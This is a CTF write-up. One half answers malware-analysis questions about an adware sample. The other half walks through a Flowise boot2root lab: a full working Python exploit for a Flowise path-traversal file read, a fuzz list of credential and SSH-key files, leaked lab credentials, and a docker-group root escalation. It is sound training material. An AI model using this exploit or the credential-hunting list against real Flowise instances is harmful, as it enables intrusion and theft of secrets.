Hello hackers, It's another weekend and another ctf, urchinsec we had a privilege to create some challenges for PerfectR00T CTF competition which was a two days hacking competition bringing people from almost all the over the world. ![image](https://hackmd.io/_uploads/rkTg2O4Gbe.png) We were able to prepare different categories such as :- ``` 1. Web 2. Reverse Engineering 3. Malware Analysis 4. Boot2root ``` ![image](https://hackmd.io/_uploads/rJaIqO4GZl.png) ## MALWARE ANALYSIS With malware analysis we had 10 challenges which they were easy one you had to do static malware analysis but also dynamic malware analysis. ### WRITEUP - CashNight1403 Description ``` Recently, UrchinSec-LLC organization detected a new malware sample that was delivered to one of the employees through a suspicious communication channel. The malware was flagged by endpoint telemetry due to abnormal process behavior, unusual registry interactions, and outbound network traffic, the malware sample seemed very trick by trying to trick users into believing their system has problems, then charges them for a "fix", UrchinSec-LLC have hired you as a malware forensic person to help them find out is this a true malware or is a false positive its just a normal file, and if it's a true malware what is trying to doo actually. Your Mission: 1. To solve the patterns and join the pieces of what the malware sample was all about. 2. Find any clues about the malware type and its behavious 3. Understanding about the malware sample and perform static and dynamic malware analysis. Flag_Format: r00t{flaghere} NB: The malware sample is a password protected so extract this malware in a well controlled environment so as to avoid any malware infection or spread. password:w4rl0ck ``` ### initial analysis ``` The challenge starts with downloading the malware sample(password protected), extracting the file and the first thing we confirm if the file is the the same by cheking the checksum.Its very important in reverse engineering and malware analysis to check the checksum. ``` ![image](https://hackmd.io/_uploads/rJsm4KVf-g.png) ### Static malware analysis ``` Now we have already confirmed that the file is the same, the next thing is to try startic malware analysis we can do this in a controlled environment. Since we have already know the file type we can just rename the file with the same file type as we see from the metadata of the malware. ``` ![image](https://hackmd.io/_uploads/HyBp4t4z-x.png) ### QN-1 (What is the malware family?) At this stage, we still know very little about the type of malware we’re dealing with, right? A good first step is to upload the sample to VirusTotal and review the initial detection results. ![image](https://hackmd.io/_uploads/Bky-HYVfbl.png) Most of time to find the malware type and family stuffs, we can check the community section on virustotal. ![image](https://hackmd.io/_uploads/By9MBKNz-l.png) ``` ANS: r00t{Adware.Techsnab} ``` ### QN-2(What is the humanhash of the malware you identified?) The second question ask about humanhash, basically this is something new, so first thing is to understand what is humanhash. ![image](https://hackmd.io/_uploads/SyQ8BKNfbg.png) ``` Now since we understand about humanhash from our google assistance, were can we get humanhash of this malware type. One place were we can find this type of hash is from the MalwareBazar db where it usually comes with this type of hash. ANS: r00t{arkansas-yankee-beryllium-jupiter} ``` ![image](https://hackmd.io/_uploads/SJPYBYEzWe.png) ![image](https://hackmd.io/_uploads/BJF_wYNMWe.png) ### QN-3(When was the malware first compiled?.) ``` This question needs us to find the first compiled date of the malware sample, most of time we can get this from the malware sample from virusTotal. From virustotal at the bottom on Details section we can find the timeStamp on the header section. ASN: r00t{2025-11-21 17:11:40 UTC} ``` ![image](https://hackmd.io/_uploads/rkSlIYEfWe.png) ![image](https://hackmd.io/_uploads/SkcTDF4MZg.png) ### QN-4 (What is the first dll created when the malware is executed at first time?.) ``` The question needs us to find the first dll that was being called when the malware was being launched, there are two ways to do this, From virus Total we can see alot of dll files here, This is little trick but straight forwad the malware sample it self were given is .dll so basically we don't expect it to run directly right, so what is next from here, This one is very easy we can try to find online the paterns about the actuall malware w ## APROACH-1 Is to find the actuall malware sample and run it the malware on the controlled environment, It will be observed that when this malware is being runned it first creates this 787cb98047d59432462618f4f93162dacc240ef5d1937632408d28f32b621d2c.dll but it is missing the underscore thing compared when being runned on the sandbox, so we can assume this is the first dll without even checking Task Manager, why this file, Because it is the first file when the malware being runned it creates. ## APPROACH-2 Approach-2 is not run the malware but we can use the available samples of sandbox available on virustotal, this is very useful for users who are have limited environment. In order to see the type of dll this file creates, we can go to the community sections and start exploring the ANS: r00t{_787cb98047d59432462618f4f93162dacc240ef5d1937632408d28f32b621d2c.dll} ``` ![image](https://hackmd.io/_uploads/ryz2LFNMbx.png) ![image](https://hackmd.io/_uploads/B10hLtEzbg.png) ![image](https://hackmd.io/_uploads/r1rT8YVfZx.png) ![image](https://hackmd.io/_uploads/rkJWdKEfbl.png) ### QN-5 (What is the capability of the malware,mention three.? ) ``` Understanding what actually the malware can do is neccessary because your going to understand what you expecte the malware to output after running in a sandbox environment.Malware capabilities can be obtained from either reversing the malware sample or reversing the malware and see the read the source codes or static malware analysis.This challenge was so easy because what you need to find from public documentation about capabilities of malware. ANS: r00t{terminate_process,create_thread,suspend_thread} ``` ![image](https://hackmd.io/_uploads/S1oGPtEz-g.png) ![image](https://hackmd.io/_uploads/S1ULuKNzZe.png) ### QN-6 (What is the malware MIME type.?) ``` Obtaining the MIME type, we can go back to MalwareBuzer and it's easy from there to find the actually type. ANS: r00t{application/x-dosexec} ``` ![image](https://hackmd.io/_uploads/By7_dFEfWg.png) ![image](https://hackmd.io/_uploads/rJxTdYVGZx.png) ### QN-7(One of the registry is responsible for emulator stuffs what is it?.) ``` The question needs us to find the regitry key that was responsible for emulator stuffs, well this is easy if we understand what regitry keys is and where is being located but also this is easy. At first it might be like a guessing strick but this is very simple of we understand something ``` ![image](https://hackmd.io/_uploads/B10lKYVMbe.png) ``` We can see that we got a lot of regitry keys, but among all of of them the one which is reposible for emulator is - HKEY_LOCAL_MACHINE\Software\Microsoft\Wow64\x86\xtajit ANS: r00t{HKEY_LOCAL_MACHINE\Software\Microsoft\Wow64\x86\xtajit} ``` ![image](https://hackmd.io/_uploads/HyOBtYEM-e.png) ### QN-8(A malware developer forgot debuging path, can you identify the full path?) ``` Fiding debuging path is very easy incase if you know anything about debuging path in windows malware development(Visual Studion) code editor. Debuging path are primary managed with symbol files with extension(.pdb), Now we have already understand how we can find this, next thing is to look directly on the malware itself but decompiling the malware or static(works). ANS: r00t{C:\Users\Administrator\Desktop\Debug\privates\bin\Debug\CrashRpt1403.pdb} ``` ![image](https://hackmd.io/_uploads/H1B0tFVG-e.png) ![image](https://hackmd.io/_uploads/By4k9K4M-l.png) ![image](https://hackmd.io/_uploads/SJtaKK4MWg.png) ### QN-9(What is the child process created when the malware is runned?) ``` Well this challenge was easy because we have to find the child process created when malware initiates it initiales process, you can either do this by running the malware in a controlled environment, or use the available sandbox and observer the behavviour of the malware. But also use some controlled to do this. Since because after first main process the malware created also child process, although it the process of creating this child process take like 20-50 Seconds. ANS:r00t{C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe} ``` ![image](https://hackmd.io/_uploads/rkJIcFNMZl.png) ![image](https://hackmd.io/_uploads/B1Q_9FVf-l.png) ### QN-10 (After some time when the malware is being executed there is an embeded COM process created attached with the command, what is the cmd command you observed?.) ``` After the malware creates main process, after some time we can observer that it was able to create a child process, since because dynamic malware anaylis needs us to understand properties and behaviour of the malware by running it, by keep observing the malware in a further analysis we can see that process was created and which was c:\WINDOWS\System32\slui.exe -Embedding embedded COM ANS: r00t{C:\WINDOWS\System32\slui.exe -Embedding} ``` ![image](https://hackmd.io/_uploads/rJZA5YVzZx.png) ![image](https://hackmd.io/_uploads/SJmusKVM-e.png) ### conclusion ``` Malware analysis is a critical process that strengthens an organization’s ability to detect, understand, and respond to cyber threats. By combining static analysis and dynamic analysis, analysts gain a complete picture of a malware sample’s structure, behavior, and intent. Static analysis helps reveal the code, embedded strings, and potential capabilities without executing the malware, allowing for safe initial insights. Dynamic analysis, on the other hand, exposes the real behavior of the malware when executed in a controlled environment, helping analysts observe system changes, network communications, and triggered actions. Together, these two techniques provide a comprehensive understanding that supports threat hunting, incident response, and the development of effective detection signatures. In the end, mastering both approaches ensures faster identification of malicious activity and stronger defenses against evolving cyber threats. ``` ## BOOT2ROOT ### FLOWISE 1 ![image](https://hackmd.io/_uploads/S1t_nYNMWl.png) From my side as a creator/author of this first part of boo2root this was a easiest challenge I made so as everyone can get free points but it endedup with no solves, but got no solves which was awersome for me. ### Description ``` Were given the description, we need to find a user.txt so as to unlock the root flag section. This was the address(domain name) boot2root.perfectroot.wiki ``` ### SCANNING ![image](https://hackmd.io/_uploads/S1gFpFNMWe.png) Nmap scanning reveals ports we can start to check one after another one but we can also scan in depth about this port but am going to focus on two open ports ssh and 3000 ![image](https://hackmd.io/_uploads/H1adPqEM-l.png) ### ENUMERATION now we already know the initial point of starting with which is port 3000. Opening this from our browser we endup with a login page. ![image](https://hackmd.io/_uploads/Hya1CYEfWe.png) ![image](https://hackmd.io/_uploads/SyhgCtEMWe.png) Now since we have no creds we need to find a way in, but we can start with fuzzing subdirectories and see if we might get any juice info right. But while fuzzing is in progress we can check few things we have already seen what were dealing with here it's an AI agent right. Indicators from the source code as well simple like that. ![image](https://hackmd.io/_uploads/SkJERYEGZx.png) ![image](https://hackmd.io/_uploads/ryw4AYNMZe.png) ``` Now we need to google about this and get more information of it. when we go an extra miles it takes us to a github page of itself. NB: From here is either we find creds or exploit directly. ``` ![image](https://hackmd.io/_uploads/SyJ8CF4Mbe.png) ![image](https://hackmd.io/_uploads/B1Tw0FNMZx.png) ### EXPLOITATION ``` Quick enumeration starts with issues and security section from github. Issues might take you a long way to get to the point but with security section we can read them. So from here we can focus with this one. ``` ![image](https://hackmd.io/_uploads/SJq5Rt4G-g.png) ![image](https://hackmd.io/_uploads/H1z_ucNM-g.png) We can start with few things here. The first 7 bugs might work but also might not work. The RCE needs a way to trigger it which in this machine it was not possible since because I didn't want to put it in way even a 2yrs-kid can exploit it, So I will focus with the File Read one that's why I rated the machine Easy (Worth Easy). ``` ### Summary Being able to read the remote files you will need the flowchatId right, good enought i made 2-3 of them so it's much each easly for someone to read the remote files. The question comes with how we can get the chatflowId?, well this is very interesting, because there are two ways to do this. There is a PoC which starts by finding the chatflowid and then use it to read files. Thanks to the PoC were not going to write any code here, But also there is a manual way were u can trigger the flowchartId from burpsuite. ``` ![image](https://hackmd.io/_uploads/HJVRy9NMZg.png) ![image](https://hackmd.io/_uploads/r1lrxcEMZl.png) The last error tells us that were missing the file, this argument expectes us to put the filename we need to read right, let's go back to the PoC and see that was the file type this author started to read first. ![image](https://hackmd.io/_uploads/HkK_g5EMZl.png) Going back and retry with the same file we get a different response this time. database.sqlite showing data-format means there is something wrong so we can work on this by starting fixing it or recontruct it back. ![image](https://hackmd.io/_uploads/SyPCe5VfWe.png) ![image](https://hackmd.io/_uploads/rJIx-94G-g.png) now atleast were getting a different error but wait seems its also readable for some characters right, we can try see if there is any interesting information inside despite of it's format. ![image](https://hackmd.io/_uploads/rJh7b9Vf-x.png) ``` From here we can try to recontruct the hash username:erickalex@perfectroot.com hash:$2a$05$z2Od9Yf0cJgjm2abO0qkvulwHkvulwHkc8cv6CGTVe24PgOZBOjpr7d46da Trying to run with hashcat we get a very different error which means something is wrong here, so this sounds like a rabbit hole so we can skip it for the time-being. ``` ![image](https://hackmd.io/_uploads/rkWOZq4zZl.png) ``` After some time we need to try to read a different file right. Forexample .env, bash_history but trying to read something like passwd this won't work. In most cases developer create like .env,secres.txt,secrets.envs to help them to store credentials, so we can take an advantage of reading any files we know but without adding any '/' because we will endup getting errors In order to understand where flowise store files, and how we can fuzz, we can start with builiding our own locally docker running flowise environment where by we will see that even the database.sqlite file is being located in the /.flowise/storage/ So we need to modify the exploit and make it being able to fuzz the files instead of reading the files only because the PoC just show we can read remote file where by going beyond means we can read any file within the location directory. Building our docker env and examine where flowiseAI stores information you will realize you will get something similary to this, which gives us another hint that we might need to fuzz what is very common to developers, directory like storage normall stores files which are very sensitive. ``` ![image](https://hackmd.io/_uploads/SJlfzcVM-g.png) ### modifying the exploit ![image](https://hackmd.io/_uploads/r1m7zc4MWe.png) ![image](https://hackmd.io/_uploads/SJdUQcNzZx.png) ``` At the end we can wee that we have three files >> starting fuzzing against http://boot2root.perfectroot.wiki:3000/ >> fuzzing 42 file paths [+] FOUND: .env (16 bytes) [+] FOUND: secrets.env (88 bytes) [+] FOUND: database.sqlite (385024 bytes) [+] successfully found 3 file(s) ============================================================ FILE: .env SIZE: 16 bytes ============================================================ fuzz more forks ============================================================ FILE: secrets.env SIZE: 88 bytes ============================================================ export KEY1:joshua:w#YNl2izko4DPy_V export KEY2:joshua@perfectroot.com:w#YNl2izko4DPy_V Now we have credentials we can try to login, good enough the creds works for web and ssh as well. ``` ### INITIAL ACCESS ``` ssh creds username:joshua password:w#YNl2izko4DPy_V ``` ![image](https://hackmd.io/_uploads/rJqIE9VGZg.png) ### fuzzerscript - modified ```python #!/bin/env python3 import argparse import re import requests from concurrent.futures import ThreadPoolExecutor, as_completed # common credential and sensitive file paths FUZZ_PATHS = [ # env files ".env", ".env.local", ".env.development", ".env.production", ".env.test", ".env.staging", "env", # secret files "secrets", "secrets.env", "secrets.json", "secrets.yml", "secrets.yaml", ".secrets", # config files "config.json", "config.yml", "config.yaml", "config.ini", ".config", "app.config", "application.properties", "settings.py", "settings.json", # database files "database.sqlite", "database.db", "db.sqlite", "app.db", # ssh keys ".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519", # docker secrets "docker-compose.yml", "docker-compose.yaml", ".dockerenv", # aplication specific "package.json", "composer.json", ".npmrc", ".pypirc", # backup files ".env.bak", ".env.backup", "config.bak", ] def read_file(url, file_path, proxy, silent=False): base_url = url proxies = {'http': proxy, 'https': proxy} if proxy else None if not silent: print(f"[*] attempting to read: {file_path}") try: # Step 1: Leak chatflowid initial_headers = {} files = {'files': ('?', 'asdf', 'text/plain')} response = requests.post( f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies ) chatflow_id_matches = re.findall( r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", "") ) if len(chatflow_id_matches) < 2: if not silent: print("[-] failed to leak chatflowid.") return None chatflow_id = chatflow_id_matches[1] # Step 2: Read file internal_headers = {'x-request-from': 'internal'} params = { 'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path } response = requests.get( f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies ) if response.status_code == 200 and len(response.content) > 0: return { 'path': file_path, 'content': response.text, 'size': len(response.content), 'status': response.status_code } else: if not silent: print(f"[-] file not found or empty (status: {response.status_code})") return None except requests.exceptions.RequestException as e: if not silent: print(f"[-] request error: {e}") return None except Exception as e: if not silent: print(f"[-] unexpected error: {e}") return None def fuzz_files(url, proxy, threads=5, custom_paths=None): print(f"\n>> starting fuzzing against {url}") if proxy: print(f">> using proxy: {proxy}") paths_to_fuzz = custom_paths if custom_paths else FUZZ_PATHS print(f">> fuzzing {len(paths_to_fuzz)} file paths\n") found_files = [] with ThreadPoolExecutor(max_workers=threads) as executor: futures = { executor.submit(read_file, url, path, proxy, silent=True): path for path in paths_to_fuzz } for future in as_completed(futures): result = future.result() if result: found_files.append(result) print(f"[+] FOUND: {result['path']} ({result['size']} bytes)") if found_files: print(f"\n[+] successfully found {len(found_files)} file(s)\n") for file_info in found_files: print("=" * 60) print(f"FILE: {file_info['path']}") print(f"SIZE: {file_info['size']} bytes") print("=" * 60) print(file_info['content']) print("=" * 60 + "\n") else: print("\n[-] no files found during fuzzing") def main(): parser = argparse.ArgumentParser( description="Read arbitrary files or fuzz for credential files" ) parser.add_argument( "-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)" ) parser.add_argument( "-f", "--file", type=str, help="path of specific file to read on the server" ) parser.add_argument( "-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)" ) parser.add_argument( "--fuzz", action="store_true", help="enable fuzzing mode to search for common credential files" ) parser.add_argument( "--fuzz-list", type=str, help="custom file with paths to fuzz (one per line)" ) parser.add_argument( "-t", "--threads", type=int, default=5, help="number of threads for fuzzing (default: 5)" ) args = parser.parse_args() if args.fuzz: custom_paths = None if args.fuzz_list: try: with open(args.fuzz_list, 'r') as f: custom_paths = [line.strip() for line in f if line.strip()] print(f"[*] loaded {len(custom_paths)} paths from {args.fuzz_list}") except Exception as e: print(f"[-] error reading fuzz list: {e}") return fuzz_files(args.url, args.proxy, args.threads, custom_paths) elif args.file: print(f">> starting exploit against {args.url}") if args.proxy: print(f">> using proxy: {args.proxy}") print(f"\n[*] step 1: leaking chatflowid") result = read_file(args.url, args.file, args.proxy, silent=False) if result: print(f"[+] got chatflowid") print(f"\n[+] successfully read file ({result['size']} bytes).") print("\n--- file content ---") print(result['content']) print("--------------------\n") else: parser.print_help() print("\nError: either specify --file for single file read or --fuzz for fuzzing mode") if __name__ == "__main__": main() ``` ### FLOWISE 2 ![image](https://hackmd.io/_uploads/HkPT2YNfbe.png) ### PRIVILEGE ESCALATION The root part was just a piece of cake 🤓 After gaining access to the machine and reading the user flag, i perform post enumeration on the machine and i identified that user `joshua` is in a docker group. #### Why Docker Group is Dangerous? - Docker daemon runs with root privileges. - A user in the docker group can run containers with docker run or docker exec without needing a password. - If you can mount the host filesystem inside a container, you can read/write any file on the host, including sensitive ones like /etc/shadow, /root/.ssh/authorized_keys, or even add a new root user. ### Exploitation #### Step 1 - Check if you are in a **docker** group ![Pasted image 20251208213622](https://hackmd.io/_uploads/rkYnZsVzbe.png) From the output: groups=1001(joshua),27(sudo),100(users),112(docker) ✅ You are in the docker group (GID 112) #### Step 2 - Start a container with host root filesystem mounted To spawn an interactive shell with root privileges we can use the command from [GTFOBins](https://gtfobins.github.io/gtfobins/docker/#shell) as shown below; ![Pasted image 20251208221224](https://hackmd.io/_uploads/Hk6X7o4zWe.png) In the target machine we run the command and just in few seconds we become root user and read the root flag ![Pasted image 20251208214128](https://hackmd.io/_uploads/B1bvXiNMbl.png) It was an easy machine tbh 🤣🤣